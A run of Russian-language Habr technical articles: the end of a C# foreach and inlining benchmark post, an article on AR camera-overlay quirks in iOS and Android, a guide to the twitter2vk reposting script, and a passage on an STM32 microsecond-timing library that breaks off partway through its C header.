static int EnumerateItAll(RangeEnumerator enumerator)
{
var a = 0;
while (enumerator.MoveNext())
a += enumerator.Current;
return a;
}
}
```
И побенчим:
| Method | Iterations | Mean | Error | StdDev |
| --- | --- | --- | --- | --- |
| ForWithCustomIncrement | 10000 | 3.498 us | 0.0658 us | 0.1153 us |
| ForeachWithEnumerableRange | 10000 | 43.313 us | 0.8207 us | 1.0079 us |
| ForeachWithYieldReturn | 10000 | 56.963 us | 1.0638 us | 1.0448 us |
| ForeachWithRangeEnumerator | 10000 | 17.931 us | 0.2047 us | 0.1915 us |
| ForeachWithRangeEnumeratorRaw | 10000 | 17.932 us | 0.1486 us | 0.1390 us |
| ForeachWithRangeEnumeratorRawWithLocal | 10000 | 3.501 us | 0.0678 us | 0.0807 us |
`ForeachWithRangeEnumeratorRawWithLocal` - это как раз вариант с локальной функцией. И... он почти в шесть раз быстрее, чем заинлайненный! Как же так вышло-то?
Смотрим [кодген](https://sharplab.io/#v2:EYLgxg9gTgpgtADwGwBYA0AXEBDAzgWwB8ABAJgEYBYAKBuIGYACMxgIRgDswALfbKANa4aAbxqMJzJgEsOGRgEkMMKNgzSIHXIxGMA5jAwBuRrkMmAvjXGSADlGkA3NTEaz5Crjv3nTvi4wAvIzkJgD0YYzAAJ6MsNgAJrJ6jABmUBD4adIwADYJYfYQtioY0WiMGNyuAFIKACqMkPi20rkqjADumgDk8sXq+NIAXq7S8hgQbl6yuBhQAK5g6prW1JKMaxsM0/IAYtAw2DwA6uPcAErYHAYAohwL+Cpq0FedZ1UAMhBg2LkAFABKGwSMTrDaSZxQRicR7PSbQ4L/AAMADpUf8lPCNFpGHAQoDAaiAOKGe5w1QIoEmCESEEQ4gAdkY5KelJgSgAgrkAbC2S8oICjFtacxyEhdiyHvzlFyef8rjcYKz4dAYdLVYL6RswaKIVDGNggoxkcLwXqJJ1uG1XP8+ZrUQBZCCOGAAORgCAwQOB5otGyNAGpgvbKdBUQBhBZQWByM3+iRMw3x0VWP1pjb0mhpnbEcXMUgsr2cXA44R+3Wi3P5xV3DVh6GkjAqhv/KrSbS11zEYjt3C+hNBAB8jH+Pb7qIAyhh+BgKuPrbhUfcEoDTJ1xjxtaLK4OJP9dApcHsMvgVyBKosYBUAGp/BYwC/IxgWCqH4+n8+Xh+3++Pk0vmugQjhwMCdIwXYtgKKIVO4TrYAgd65D+BJoNu/oHooH6ZF+8woUhD5Pi+b5YSeOEcAkF6pH8Zi/sh/4GpMgHDowoHgZB9bQciFRMYGIQVOQgJoX6g6YUeZFnhRVE0dejAEQx/BpKexHeOJn5Sd+snyURFhASBYEQdcdYUtB6SZLBcjwYhf4CUJ6EWmJ2GSZRaQyXRhGMAaZlZK+qlOV+1G5LRcl/hejFTLp9mDsBo7eYwAA8lQQGuuAbhgW4iXuoJRVlmksWxhlKlBVLeTxEC2cJuUWoFZj5QZHEmSVp5lRUcCCZVVWSK+OW0gA+ixVQZOBBWeM4uTSAkADyJSUjitwIGAMC2CsHD/AARKNfwTXERkwGtA4JhYKYSGmIqJkwcyLMshXGTK0D0ruEL2E4LhxEcCSaLksTuElx1PQ4zjKG9iSfd9cimMothmvZz2A2M4NgNGUDQ5lEjuCoHB/MwKCMAAIjAkBaHhyz/BACzyD9PalYwZMU+DkwVLTkpzEtB3+jFY7ENTDMQ6zxr/IjMY8YuqI8xOLO2EKaz2ejUCY7kN3KpxVKU1zzWSjzP0S2zEKPXqE5McEvG81DPWVCLEvGhLf36yLguIswauZHiJs2110uo1IUQQBACvOq6HpekC9l66K9uMMGrtm0m4cAIRGxAbsnWdDIyODUYxpw8gxfbf0WEAA=):
В нашем методе локальная функция не заинлайнилась:
```
Benchmarks.ForeachWithRangeEnumeratorRawWithLocal()
...
L0044: call Benchmarks.g\_\_EnumerateItAll|8\_0(RangeEnumerator)
```
И это нам на руку. Смотрим эту локальную функцию:
```
L0000: mov eax, [rcx]
L0002: mov edx, [rcx+4]
L0005: mov ecx, [rcx+8]
L0008: xor r8d, r8d
L000b: jmp short L0010
L000d: add r8d, ecx |
L0010: add ecx, edx |
L0012: cmp ecx, eax |
L0014: jne short L000d |
L0016: mov eax, r8d
L0019: ret
```
Отмеченные четыре строчки,
```
L000d: add r8d, ecx
L0010: add ecx, edx
L0012: cmp ecx, eax
L0014: jne short L000d
```
это и есть наша победа, так как этот код идентичен итерации `for`-а.
Первые три строчки
```
L0000: mov eax, [rcx]
L0002: mov edx, [rcx+4]
L0005: mov ecx, [rcx+8]
```
Выгружают все, что нужно, в регистры, и поэтому так быстро работает наш метод.
Вывод
-----
Во-первых, хоть и желаемое получилось, в реальной жизни проще написать `for`, чем проверять, догадался ли компилятор положить ваш енумератор в регистры.
Во-вторых, это очень показательный пример, что инлайнинг может сделать не только не лучше, но и сильно хуже (в данном случае он увеличил время работы с 3.5 до 18 us на 10000 итераций).
Спасибо за внимание!
**UPD**: поведение совершенно разное на винде и линуксе. Например, разбирая WithLocal метод-бенчмарк, у [@DistortNeo](/users/distortneo) получился совсем иной от винды кодген. Вот [здесь](https://gist.github.com/WhiteBlackGoose/5c567281c0b6bbac816ae0d48607ccba) я сделал гист с кодгеном метода WithLocal для винды и линукса. В случае последнего, джит заменил call на jmp, а локальные переменные локальной функции разместил на стеке.
Ссылки
------
Весь код, который я писал, размещен в [репозитории на github](https://github.com/WhiteBlackGoose/FastForeachEnumeratorArticle).
* [Бенчмарки](https://github.com/WhiteBlackGoose/FastForeachEnumeratorArticle/blob/main/FastEnum/Benchmarks/Program.cs)
* [Код енумератора](https://github.com/WhiteBlackGoose/FastForeachEnumeratorArticle/blob/main/FastEnum/Library/RangeEnumerator.cs)
* [Тесты](https://github.com/WhiteBlackGoose/FastForeachEnumeratorArticle/blob/main/FastEnum/Tests/UnitTest1.cs), если есть подозрение на неправильный код
* [BenchmarkDotNet](https://github.com/dotnet/BenchmarkDotNet) - утилита/библиотека для бенчинга
Бенчилось на винде | https://habr.com/ru/post/575664/ | null | ru | null |
# Особенности AR в iOS и Android
Статья, скорее всего, не расскажет ничего нового тем, кто давно занимается разработкой приложений с фишкой Augmented Reality, но возможно будет полезна тем, кто интересуется этой темой и близок к написанию AR-приложения.
Предыстория
-----------
Немного лирического отступления – что такое AR и почему она стала так популярна на мобильных устройствах.
Когда-то давно, наверное ещё в начале 80-х годов прошлого века, в военные истребители (например, Як-41 — истребитель вертикального взлёта) начали внедрять проекторы, которые проецировали информацию прямо на стекло лобового обзора самолёта. Пилоты очень обрадовались нововведению, т.к. следить за самыми важными показателями таким образом было намного удобнее, чем отрывать взгляд на аналоговые, да пусть даже и цифровые, датчики.
К теме особо не относится, но нам доподлинно известен факт (отец одного из наших сотрудников участвовал в разработке), что в советских Су-27 уже в 1992 году крутились 3D-модельки самолёта с подсветкой узлов. Графический движок был написан на ассемблере, на процессоре в 4 МГц (8086). Показательно, что американцы делали со скрипом то же на 80486 с 66 МГц, так что код наши всегда писать умели.
Позже такие же ИЛС (Индикаторы Лобового Стекла) пришли и в гражданскую авиацию, и в 1990 году один из инженеров Boeing ввёл само понятие “Augmented Reality”.
Много позже, когда в смартфоны пришёл акселерометр и гироскоп, светлой голове пришла идея соединить их с камерой и OpenGL ES – так родилось множество игр, навигационных помощников, но больше всего бюджета в этом направлении расходуется на маркетинговые и промоушн-приложения. Например, вырезав из журнала бумажный каркас для часов, одев его на руку и посмотрев через камеру телефона, пользователь может “примерить” любую марку часов из тех, что рекламирует журнал.
Теперь чисто техническая часть, те небольшие проблемы, с которыми программист столкнётся на самых популярных мобильных платформах.
iOS
---
Версии iOS для iPhone и iPad очень схожи, хотя и различаются по нескольким параметрам. К таким параметрам относится, к сожалению, то, что в iPad OS окно вывода изображения с камеры (UIImagePicker) – обычный UIView, а в iPhone OS – UIViewController. Если в случае с айпадом всё понятно – управляем и ложим его как и любую другую вьюшку, то в айфоне всё немного сложнее – окно ImagePicker-а обязательно должно быть модальным, а добавление вьюшек поверх камеры возможно только используя параметр cameraOverlayView. Т.е. чтобы добавить некое 3D поверх камеры, нужно сделать следующее:
```
imagePicker .cameraOverlayView = [[ARView new] autorelease];
```
Скорее всего, это анахронизм, оставшийся от iOS 3 и ниже. К каким неудобствам это приводит? К целому списку:
* UIImagePickerController прячет Status Bar. Возвращать его в переходе из режима AR в, например, игровое меню, нужно будет самим. Иначе у вас, в большинстве случаев, поедут на 20 пикселей все вьюшки;
* Невозможно показать изображение с камеры не на весь экран, т.к. превьюшка была сделана под стандартный UIImagePicker, с контролами снизу. И у нас остается только два варианта: делать снизу свои контроллы, либо применять матрицу для трансформации изображения, главное в ней правильно сохранить пропорции изображения;
* Если необходимо сменить изображение камеры, например, на статический фон по нажатию кнопки, это приведёт к целому ряду действий – нужно оборачивать вьюшку со статическим бэкграундом в свой вью-контроллер, убирать UIImagePickerController, добавлять в свою вьюшку оверлэй, живший раньше в cameraOverlayView, и делать present новый вью-контроллер. Так же необходимо не потерять вьюшку в памяти и сделать вовремя retain/release, либо держать её всегда в retain property. Это всё вместо imagePickerView.hidden = YES; как в айпаде, плюс явно медленнее по производительности;
* Ещё можно столкнуться со слишком умными UIButton. Для реализации переключения AR/non-AR режима, код должен был выполняться в экземпляре ViewController, но у UIButton на это свои планы. Если у UIButton был выставлен обработчик нажатия с target – ViewController, то после того как вьюшку изъяли из ViewController и поместили в imagePicker.cameraOverlayView, этот обработчик перестает работать. Видимо UIButton в курсе что target ViewController больше не видим из-за того, что имейдж пикер поверх всего, и не посылает ему сообщений. Пришлось внутренней вьюшке давать указатель на вью контроллер и добавлять промежуточный код, который будет уже дергать непосредственно вью контроллер.
В общем, куча костылей – всегда лучше, когда все стандартные классы – это вьюшки, а вью контроллерами распоряжается только пользователь.
Android
-------
С Android дела обстоят немного иначе.
Превью камеры, точнее SurfaceView, можно поместить во вьюшку любых размеров, и нет необходимости создавать какую-то модальную активити поверх всего. Но без специфичных телодвижений не обошлось. Оказалось, что мы сами должны найти подходящий размер превью (список размеров иногда большой, и может различаться на девайсах от разных производителей, да что там, даже от одного производителя). В поисках оптимального разрешения и пропорции придется перебирать все размеры из возможных вариантов и сравнивать их с размером и пропорцией вью, куда мы хотим поместить это превью в рантайме. Размер превью не всегда будет соответствовать размеру SurfaceView, так что для соблюдения пропорций картинки и получения подходящего размера превью придется делать свой ViewGroup, размещать там SurfaceView, и делать расчеты, что и как размещать в методе onLayout.
Ещё одна интересная вещь — если в iOS ты хочешь нарисовать 3D модельку поверх превьюшки с камеры, то ты снизу располагаешь превьюшку (UIImagePicker), а дальше сверху рисуем любые вьюшки, в том числе и с 3D моделями. В Android решили сделать как-то по своему — если стандартные UI элементы можно спокойно рисовать поверх превьюшки (SurfaceView), то 3D модельки в GLSurfaceView нужно размещать под(!) превьюшкой. При этом нужно выполнить ряд телодвижений:
* для SurfaceView вызвать метод getHolder().setType(SurfaceHolder.SURFACE\_TYPE\_PUSH\_BUFFERS), хоть в документации и написано для SURFACE\_TYPE\_PUSH\_BUFFERS “This constant is deprecated. this is ignored, this value is set automatically when needed.”, но без этого вызова превью не работает и приложение даже крэшится;
* В GLSurfaceView нужно указать, чтобы она была прозрачной — getHolder().setFormat(PixelFormat.TRANSLUCENT). Без этого вызова на некоторых девайсах может всё работать (работало на HTC Desire S), а может и не работать (не работало на Google GalaxyNexus). Возможно, это из-за различий GPU на разных аппаратах. Так что лучше не пренебрегать данным методом.
Для работы AR этого достаточно, но сразу же возникли проблемы со статическим фоном для non-AR режима. Видите ли, по умолчанию GLSurfaceView не прозрачный, под ним нельзя что-либо отобразить средствами стандартного UI (ни виджет ImageVIew, ни даже background самого GLSurfaceView не работают). Но его можно сделать прозрачным с помощь метода setZOrderOnTop(true) — GLSurfaceView становится прозрачным, но при это начинает отображаться поверх всех элементов в активити.Без разницы — они под, над или вообще в другой вьюшке. Так что выход только один — если что-то нужно рисовать под 3D моделькой, и это не превью с камеры, то нам в помощь OpenGL ES. Для этого нужно загрузить картинку в память как текстуру, предварительно ресайзнув её для получения сторон, кратных степени двойки (на некоторых GPU работает без этого с- или без падения производительности; на некоторых вообще не работает, так что делать нужно обязательно). Выводиться эта текстура будет на плоскости, размеры которой равны размерам вью порта. Нам остается только рассчитать правильную пропорцию текстуры, т.к. есть множество различных размеров экрана с различными пропорциями.
Например
--------
Пример того, что получается, можно посмотреть в [AppStore](http://itunes.apple.com/us/app/euro-horn/id527167411?mt=8) и [Google Play](https://play.google.com/store/apps/details?id=com.rembros.eurohorn) на примере нашего приложения | https://habr.com/ru/post/145398/ | null | ru | null |
# twitter2vk — из Твиттера во В Контакте
[twitter2vk](http://github.com/ai/twitter2vk) — скрипт для автоматической перепубликации статусов из Твиттера во В Контакте. Например, если у вас остались старые друзья, которые никак не хотят уходить из В Контакте.
#### Преимущества
* **Не хранит паролей**, так что потеря файла настроек не будет столь страшна. В настройках хранятся только ID сессии В Контакте и данные для OAuth-входа в Твиттер. Особенно актуально для тех, кто использует один пароль для нескольких сервисов.
* **Поддерживает ретвиты** — публикует во В Контакте статусы других пользователей, которые вы отретвитили.
* **Настройка формата статусов** и ретвитов во В Контакте. Можно, например, заменять пользователей на ссылки на них или обрезать текст оставляя ссылку после него в полном виде: «Длинный текс… http//twitter.com/my/status/31337».
* **Правила исключения статусов**. Можно указывать, какие статусы не будут перепубликоваться во В Контакте (например, ответы другим пользователям Твиттера).
#### Установка
В идеале скрипт надо установить на сервер, которые постоянно работает, например на [VPS](http://ru.wikipedia.org/wiki/VDS) или домашний тихий медиа-сервер. Но можно использовать и рабочую машину, но тогда статусу будут перепубликоваться только, когда она включена (впрочем теряться они не будут).
1. Ставим Ruby и его менеджер пакетов [RubyGems](http://htp://rubygems.org) (команда для Ubuntu/Debian):
`sudo aptitude install rubygems libopenssl-ruby ruby-dev`
2. Устанавливаем twitter2vk:
`sudo gem install twitter2vk`
3. Запускаем мастер для создания настройки и задачи для cron:
`twitter2vk`
Если вы запустите мастер настройки ещё раз и укажите уже созданный файл настроек, то мастер не будет их затирать, а только обновит свойства для входа во В Контакте и Твиттер.
Мастер для создания настроек и скрипт перепубликации — разные пакеты, поэтому настройки можно создать на домашнем компьютере, а на сервера установить только скрипт перепубликации
`sudo gem install twitter2vk_reposter`
Чисто теоретически скрипт должен работать под Windows. Но тестировался только под ОС вида UNIX.
#### Настройка
Настройки сохранены в формате [YAML](http://yaml.org), но он довольно прост.
##### Формат статуса
За формат статуса ответственны три свойства: `format`, `retweet`, `last`. В них можно использовать переменные:
* `%status%` — текст статуса.
* `%url%` — адрес статуса во Твиттере.
* `%author%` — автор статуса. Имеет смысл использовать только в формате ретвита.
Свойства `format` и `retweet` используются чтобы задавать вид обычного твитта и ретвитта, соответственно. После этого к ним добавится текст из `last`.
Если полученный в итоге статус больше допустимого во В Контакте (160 символов), то обрезается сначала `format` или `retweet`. Поэтому в `last` удобно помещать ссылку на твит, чтобы она не обрезалась («Длинный текс… http//twitter.com/my/status/31337»).
```
format: "%status%"
retweet: "♺ %author%: %status"
last: " %url%"
```
##### Замены
Перед публикацией во В Контакте скрипт может заменить нужные слова. Например, убрать # перед хеш-тегами или вместо [user](https://geektimes.ru/users/user/) вывести ссылку <http://twitter.com/user>.
Замены указываются в виде массива `[*паттер*, *результат*]` в массиве `replace`. Можно использовать регулярные выражения. Вместо массива можно использовать код `:user_to_url` для замены пользователей на ссылки.
```
replace:
- ["#nowplaying", "Сейчас играет: "]
- [!ruby/regexp /#(\w)/, "\1"]
- :user_to_url
```
##### Пропуск статусов
Скрипт использует чёрные и белый список паттернов, чтобы определить, публиковать ли очередной твит во В Контакте — `exclude` и `include`, соответственно. В них вы указываете строку или регулярное выражение, которое должно содержаться в тексте твита.
Есть коды для популярных задач:
* `:reply` — ответ другому пользователю Твиттера.
* `:retweet` — ретвит.
По умолчанию, twitter2vk не перепубликует ответы и твиты содержащие «#novk» (например, «Когда же все мои одногруппники поймут какой же В Контакте отстой #novk»).
В белом списке по умолчанию «#vk», так что если вам надо чтобы твит был опубликован во В Контакте, несмотря на правила их `exclude`, то надо писать примерно так: « [user](https://geektimes.ru/users/user/) Ты прав, В Контакте действительно серьёзно отстал от Facebook #vk».
```
exclude:
- :reply
- "Facebook"
- !ruby/regexp /\d\d\d\s?\$/
include:
- :retweet
- "В Контакте"
```
#### См. также
* [Страница на GitHub](http://github.com/ai/twitter2vk) — исходники и публикация отчётов об ошибках.
* [@andrey\_sitnik](http://twitter.com/andrey_sitnik) — твиттер автора, где публикуются обновления twitter2vk.
* [rvk](http://github.com/alexandrz/rvk) — Ruby-библиотека для работы с В Контакте | https://habr.com/ru/post/88386/ | null | ru | null |
# ARM Cortex M* — «сколько вешать в граммах»
Исходные предпосылки
--------------------
Критичный ко времени код на участке ]L1, L7[ регулярно выполняется за время T1.
Аппаратные прерывания T2, T3 и Т4 замедляют критичный код T1 асинхронно. Точки срабатывания аппаратных прерываний условно обозначены метками L1 .. L6.
Как следствие, критичный код выполняется за время T = T1, при отсутствии аппаратных прерываний, и за время T = T1 + T2 +T3 + T4, при вызове всех обработчиков на участке ]L1, L7[. Возможны варианты на множестве {T2, T3, T4}.
Постановка задачи
-----------------
1. Прикладная библиотека для динамической оценки и корректировки малых интервалов в реальном времени с погрешностью менее 10 us ( 0,00001 s ), дополняющая функциональность стандартной библиотеки STM32\*\_HAL\_Driver.
2. Число контролируемых интервалов времени — без ограничений.
3. Измерение малых интервалов с заданной точностью в любых режимах генерации и оптимизации ( **-O\*** ) бинарного кода.
4. Сравнение и корректировка малых интервалов по сдвигу контрольных меток на оси времени.
Решение задачи
--------------
Архитектура ARM Cortex M\* содержит два счётчика, определяющих системное время:
* **uwTick** — системный счётчик времени, увеличивается на единицу каждую миллисекунду (ms);
* **(\*SysTick).VAL** — тактовый счётчик, уменьшается на единицу синхронно с тактовой частотой.
При достижении счётчиком **(\*SysTick).VAL** нулевого значения:
* генерируется прерывание, увеличивающее на единицу **uwTick**;
* восстанавливается значения счётчика до величины **( (\*SysTick).LOAD - 1 )**.
Момент системного времени микроконтроллера фиксируется в структуре данных.
```
typedef __IO struct
{
__IOM int32_t cc;
__IOM uint32_t ms;
} STimeStamp;
```
Далее необходимый и достаточный набор функций для работы со структурой данных.
«**this\_moment\_calibrate()**» — эта функция вызывается один раз до вызова любой другой.
«**this\_moment\_sync( uint32\_t stc )**» — эта функция ожидает пока значение **(\*SysTick).VAL** окажется больше **uint32\_t stc**, после чего возвращает управление, тем самым гарантируя, что обработчик «**HAL\_IncTick(void)**» будет вызван позже «эталонного» измерения.
Параметр **uint32\_t stc** подбирается эмпирически и принимает любое значение в диапазоне:
] **0 .. (\*SysTick).LOAD** [.
Пример.
```
int32_t L1 = RAND_NUMBER_32;
int32_t L2 = RAND_NUMBER_32;
int32_t L3 = 0;
STimeStamp stm, tm;
this_moment_sync( (*SysTick).LOAD & SysTick_LOAD_RELOAD_Msk ) / 3 * 2 );
this_moment( &stm );
L3 = L1 + L2;
this_moment( &tm );
int32_t gap = this_moment_gap( &stm, &tm );
```
«**this\_moment( STimeStamp \*tm )**» — эта функция фиксирует текущий момент времени в структуре **tm**.
«**this\_moment\_cmp( STimeStamp \*stm, STimeStamp \*tm )**» - эта функция сравнивает два момента времени и возвращает:
( **1** ) если **stm > tm**, момент времени **stm** был раньше **tm**;
( **0** ) если **stm == tm**, оба момента времени совпадают;
(**-1** ) если **stm < tm**, момент времени **stm** случился позже **tm**.
«**this\_moment\_dif( STimeStamp \*stm, STimeStamp \*tm )**» - эта функция возвращает разницу между двумя моментами времени, измеренную в периодах тактовой частоты.
«**this\_moment\_gap( STimeStamp \*stm, STimeStamp \*tm )**» - эта функция возвращает разницу между двумя моментами времени, измеренную в периодах тактовой частоты, с поправкой на время вызова функции «**this\_moment( STimeStamp \*tm )**».
«**this\_moment\_shft( STimeStamp \*tm, int32\_t dtm )**» - эта функция вносит поправку в момент времени **tm** на величину **dtm**, измеренную в периодах тактовой частоты.
Группа функций, повторяющие те же действия, но в размерности 1 us ( 0,000001 s ):
* «**this\_moment\_dif\_us( STimeStamp \*stm, STimeStamp \*tm )**»;
* «**this\_moment\_gap\_us( STimeStamp \*stm, STimeStamp \*tm )**»;
* «**this\_moment\_shft\_us( STimeStamp \*tm, int32\_t dtm )**».
Допустимые интервалы
--------------------
Максимальные значения малых интервалов зависят от тактовой частоты микроконтроллера.
Размеры интервалов ограничены разрядностью данных - int32\_tПогрешность измерения
---------------------
Погрешность измерения соразмерна среднему времени работы функций библиотеки.
Иллюстрация ниже демонстрирует время работы всех функций библиотеки, измеренная в периодах тактовой частоты (сс) и микросекундах (us).
Экспресс-оценка точности там же — время выполнения арифметических операторов на целых числах в периодах тактовой частоты (сс) и микросекундах (us).
zero - время работы пустого участка кода на языке "C".Среднее время работы функций библиотеки на частоте 32MHz — 1 us ( 0,000001 s ).
Гарантированный интервал измерения — 10 us ( 0,00001 s ).
Время работы функций зависит от тактовой частоты микроконтроллера.
Чем выше тактовая частота, тем хуже утилизация, что демонстрируют таблица и график.
Время работы функций в периодах тактовой частоты, столбцы - частота микроконтроллераВ таблице и на графике время работы функций в периодах тактовой частоты, тактовая частота микроконтроллера (MHz), оптимизация -Os.
Тактовая частота микроконтроллера по оси X (MHz), оптимизация -OsУхудшение утилизации с ростом тактовой частоты в пределах ожидания: +/-1 us.
Оптимизация оказывает слабое влияние на время работы функций библиотеки, ожидаемая погрешность +/-1 us.
Время работы функций в периодах тактовой частоты, столбцы - флаг оптимизацииВремя работы функций в периодах тактовой частоты, меньше - лучшеОценка погрешности выполнена в среде CubeIDE 1.4 (gcc version 5.4.0), на микроконтроллере ARM Cortex M4 — STM32F303VCT6, 48MHz.
Проверка погрешности измерения на микроконтроллере ARM Cortex M0 показала похожие результаты.
Повторяется ухудшение утилизации с ростом тактовой частоты.
Время работы функций в периодах тактовой частоты, столбцы - частота микроконтроллераВ таблице и на графике время работы функций в периодах тактовой частоты, тактовая частота микроконтроллера (MHz), оптимизация -Os.
Частота микроконтроллера по оси X (MHz), оптимизация -OsОптимизация оказывает слабое влияние на время работы функций библиотеки, ожидаемая погрешность +/-1 us.
Время работы функций в периодах тактовой чатоты, меньше - лучшеОценка погрешности выполнена в среде CubeIDE 1.4 (gcc version 5.4.0), на микроконтроллере ARM Cortex M0 — STM32F030R8T6, 48MHz.
Заключение
----------
Говоря о гарантированной точности измерения допускаем, что ошибка измерения должна быть на порядок меньше единицы измерения.
Другими словами. Для гарантированной работы с интервалами порядка 10 us, погрешность измерения должна быть в пределах +/- 1 us.
Демонстрируя прогнозируемую погрешность +/-1 us, библиотека уменьшает тактовый период прикладной задачи на 3-и порядка с 0,01 s (10 000 us) до 0,00001 s (10 us). Соответственно раскрывается потенциал к росту утилизации микроконтроллера.
Слабые места прикладной библиотеки:
* прямое обращение к системным ресурсам: uwTick, SysTick;
* зависимость(\*\*) от параметров сборки и оптимизации бинарного кода.
*Зависимость(\*\*) в пределах заявленной погрешности измерения +/- 1 us.*
Библиотека тестировалась на 3-х контроллерах: STM32F401RET6, STM32F303VCT6 и STM32F030R8T6.
Тестирование продемонстрировало удовлетворительный результат с заданной степенью точности.
Прикладная библиотека
---------------------
#### Файл заголовка
```
/******************************************************************************
* File: this_moment.h Created on Jan 6, 2022
*
* Copyright (c) 2022, "Nikolay E. Garbuz"
\*
\* This program is free software: you can redistribute it and/or modify
\* it under the terms of the GNU General Public License version 3 as
\* published by the Free Software Foundation.
\*
\* This program is distributed in the hope that it will be useful,
\* but WITHOUT ANY WARRANTY; without even the implied warranty of
\* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
\* GNU General Public License for more details.
\*
\* You should have received a copy of the GNU General Public License
\* along with this program. If not, see .
\*
\* Authored by "Nikolay E. Garbuz"
\* Modified by
\*
\* TAB Size .EQ 4
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
#ifndef TM\_THIS\_MOMENT\_H\_
#define TM\_THIS\_MOMENT\_H\_
#include "main.h"
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
// platform defines
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
#if !( defined( STM32F4 ) || defined( STM32F3 ) || defined( STM32F0 ) )
# pragma GCC error "Untested ARM Cortex M planform"
#endif
#ifdef \_\_cplusplus
extern "C"
{
#endif
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
// global defines
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
#define TM\_MS\_TICK uwTick // sys ms counter
#define TM\_MS\_RANGE 1000ul // ms per sec
#define TM\_US\_RANGE ( TM\_MS\_RANGE \* TM\_MS\_RANGE ) // us per sec
#define TM\_CPU\_CLK\_MHz ( SystemCoreClock / TM\_US\_RANGE ) // CPU CLK in MHz
#define TM\_SHIFT\_MAX INT32\_MAX
#define TM\_SHIFT\_MAX\_US ( TM\_SHIFT\_MAX / TM\_CPU\_CLK\_MHz )
#define Hz\_to\_ms(Hz) (TM\_MS\_RANGE / Hz)
#define Hz\_to\_us(Hz) (TM\_US\_RANGE / Hz)
#define ms\_to\_Hz(ms) (TM\_MS\_RANGE \* ms)
#define us\_to\_Hz(us) (TM\_US\_RANGE \* us)
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
// STimeStamp struct
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
typedef \_\_IO struct
{
\_\_IOM int32\_t cc;
\_\_IOM uint32\_t ms;
} STimeStamp;
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* helper functions
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void this\_moment\_sync( uint32\_t stc );
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* service functions
\* do it first before any others
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void this\_moment\_calibrate();
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* remember the current moment
\* tm - this moment
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void this\_moment( STimeStamp \*tm );
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* compare two moments by timeline
\* stm - start moment
\* tm - this moment
\*
\* ret: ( 1 ) if stm > tm // stm earlier tm
\* ret: ( 0 ) if stm == tm // stm equal tm
\* ret: (-1 ) if stm < tm // stm later tm
\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
int32\_t this\_moment\_cmp( STimeStamp \*stm, STimeStamp \*tm );
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* measuring delay between two moments in cpu clocks
\* stm - start moment
\* tm - this moment
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
int32\_t this\_moment\_dif( STimeStamp \*stm, STimeStamp \*tm );
int32\_t this\_moment\_gap( STimeStamp \*stm, STimeStamp \*tm );
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* shifting the moment at timeline by cpu clocks
\* tm - this moment
\* dtm - shift of this moment by cpu clocks
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void this\_moment\_shft( STimeStamp \*tm, int32\_t dtm );
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* measuring delay between two moments in us
\* stm - start moment
\* tm - this moment
